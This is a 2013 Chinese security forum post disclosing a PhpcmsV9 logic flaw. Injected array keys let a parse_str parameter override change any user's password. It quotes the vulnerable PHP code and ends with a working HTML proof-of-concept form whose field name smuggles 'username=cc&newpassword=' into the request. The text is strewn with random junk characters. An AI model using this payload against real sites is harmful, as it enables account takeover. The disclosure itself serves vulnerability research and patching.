找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2181|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
# [3 ~5 t% [; t( `
2 o  j2 Y+ r  T" C0 d! A2 ]1 M9 Q; ^8 R3 _- l7 U" h. \
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);& U* G% r% p# V) }
0 d' |- ?/ c& u& ~8 U1 z" i
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。$ {" I" J# [# M8 u' \0 h" d
/ }9 z* o# d' L7 M* n
我把它留给了你们。
" l" E( f7 X4 J  ^不知道你们发现了它没有。0 f; H+ B( T4 \6 g- \; y: S8 P
; I. C$ K/ w. X' C3 j% N
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
8 J* {- c. j2 \+ T( E1 ^7 \' z; k- i2 V" a
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。$ ^4 k! u. a# D' Y

* h* V& T! l& J8 y, r也就是. }2 x$ h& e  _( k: g7 o. v% U

4 v; M3 q9 ?. E* e! tusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。- s% v* l) Z( u: u1 n$ z% t0 J

$ {( z+ C8 [# }6 x- b8 ?3 G要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。5 N% k% u, h! U

, b; F! [4 T! `! W% C( T: N. X' O1 p1 _6 l& s7 m
其实我们有这样的机会,看看代码,如下:7 f* y* K  A" @- A

. I4 j+ u4 o8 A. I$ H; G6 W2 Z8 U- t: W. d; Q
public function auth_data($data) {# y9 ?$ O7 q% E! \2 M. k" V
                $s = $sep = '';
1 A7 n0 q. }3 W                foreach($data as $k => $v) {
8 f' r8 T% Y! Z                        if(is_array($v)) {
+ p+ ?9 h* @: z4 D                                $s2 = $sep2 = '';
! I0 `; |7 e- R9 W# a0 C                                foreach($v as $k2 => $v2) {
  A) O) _7 J. N/ G9 R                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
  Z- h3 p9 b; E$ B; i; f, x  H                                        $sep2 = '&';- A( w4 U& h1 M6 k7 o
                                }
6 _) y0 e+ h+ K" B8 Z4 l8 t                                $s .= $sep.$s2;
) V/ r2 O2 O6 [: X) r- A9 p7 o                        } else {' _. Z! B- V# H! [# [# y- |, _
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);8 J' q7 Z6 J3 L9 ^
                        }
, i8 w! a' Q9 J& s3 V! C' h6 n8 k0 B) f                        $sep = '&';
6 y. G, u7 u# G                }2 ]) I! P9 f$ @( T/ \7 G
) M' g5 O: s/ }+ ]4 {! k/ |: S
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));! s1 |: z, P$ {# B: y
                return $auth_s;" ~. V# n2 k( g- \$ i9 V
        }* h: a5 I8 Y$ ^3 o- C
/ R% b7 R. p0 S
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。( r- Y% z9 T2 k2 `8 n( V  h+ d

, j: ~8 p0 E( I9 t& z  R5 p  Z举个例子
5 {8 F: I# G  Q0 S
& V# j/ C  }: Q  ~0 }# r$a[aaa=a&bbb] = 'a';, k1 h; ?3 P) ?0 S, w5 w( a' w  B
$ {" h$ U" }" e: Y
会变成aaa=a&bbb=a- G5 W8 U& Z, ]6 ~. S
4 c  Y' |6 S' N! w/ a
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。) h! \# s, G1 x3 |' y

% W6 R7 W% c& e4 v0 A4 m2 w这个时候,我们可以再去看一个函数。# O- {6 T. N* \! r
& b* F; z0 W9 v9 [5 R, [
就在这个文件内:# h4 y7 M: _1 @$ }# p8 }9 H, |# q

0 D) ?: E5 `' c7 `1 e$ k/ ]+ C6 A; e8 _3 g/ B7 l& G
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
* O2 M6 V5 v4 m# a1 j( R                if($email && !$this->_is_email($email)) {" r' O& [, N( \: ]$ {. h
                        return -4;+ L" a3 ]1 x3 g9 e9 w
                }& g8 X% H% `9 M# M) E6 }
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
5 |+ h0 U# K3 @% f. k2 M        }, Z' T+ `9 t) G, k; m" H( X1 K
5 ~5 ~8 A) ?1 w7 n1 a4 [: t
这是向通行证发了这样一个请求。' S, Z+ O3 v/ A; H

* A1 x" s5 J; E- f! z我们再跟到通信证代码里去看看,就会有所发现。/ h9 U* ]5 |/ b9 O% e: N

' D! d1 h# T( E2 ?8 _) X
  w+ r5 [5 ]7 ^" X+ ^5 w0 Zpublic function edit() {0 h* H4 D* n/ S1 e1 S: Q
//能省就省,太长了不是吗?( Q* L  A; p8 r3 O* D
( u/ O  _7 S( h4 l6 v/ i
if($this->username) {
9 W7 {; m3 I, \' J. P//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
( W( a* Y9 J- Q5 i) @# v3 |                                $res = $this->db->update($data, array('username'=>$this->username));
! A2 T9 c# ?& R% Z" s: D                        } else {8 j* N, x- w" F+ A* d4 u. G
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);/ q! X; s2 y1 b3 }
                                $res = $this->db->update($data, array('uid'=>$this->uid));2 t3 d+ a; p  r4 W9 H$ _7 _& L
                        }0 G$ N! ~1 ^0 `

* y6 j7 ?' P, n好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
- d6 S8 }: z; m( R4 o" I
+ n6 n+ i: q- |' k4 d' |7 r3 c& W. Opublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random=''): H2 d" n$ J  g* S
5 e; [! s# m' o5 F$ c, C( m7 Q
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。: M0 }( x5 A; B! N$ B
" `5 ^9 H$ [& k
我当然找到了:4 Q; A# |* ]6 _# W8 ]7 d  q8 l
phpcms9/phpcms/modules/member/index.php4 a" N  a1 M% V* V. N* j
% Y2 ?2 y& c0 b2 J
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);4 K! F. L8 c' j  w
) f' ^! i* n* C$ K6 i  P
然后就没有然后了。( \+ E4 b2 T  z7 `% p

0 r% {6 O5 T( S; r* ]( J<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
5 t. o. T; z( D$ a                                <table width="100%" cellspacing="0" class="table_form">+ e* S' @7 N0 p( i7 {& i
                                        <tr>
0 d! H& ]" a: W4 l0 ]: l5 S                                                <th width="80">邮箱:</th>        $ x) M+ S2 |0 J. z( L0 q
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
9 Y' E: b9 L! m& C; Z                                        </tr>7 L# y. L, d% d1 T2 {* p
                                        <tr>; y8 n* N  @: f- m  X( H4 @6 |) R4 c
                                                <th width="80">原密码:</th>        
3 e: E% A& ?0 j$ y1 W' |                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
" R% E1 ^" b- m7 b/ G                                        </tr>& v+ l3 }; B$ [; Q1 u( e4 o  C
                                        <tr>
9 m& @# I7 x3 o4 V                                                <th>新密码:</th>
& t+ ?4 [6 a6 U0 K0 T, e6 B  s                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td># J' y& o; K, K/ H5 A
                                        </tr>
% u' a* x' ~+ Z2 v) m% @                                        <th></th>
6 @4 W/ A; O6 R4 c: ~! B2 B( p                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>% Q& Y8 T% A! s5 w; E& h* {  w
                                        </tr>
+ l5 }/ T4 [, `( d5 g3 v3 [0 w: W                                </table>
" e( ?+ e- I$ E: Q& u9 n
" K) \; [1 O. E% b                               
& R8 L" y8 g/ Q; y3 F' i) p4 u                        </form>
; p/ P8 d0 G2 ]1 H5 y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表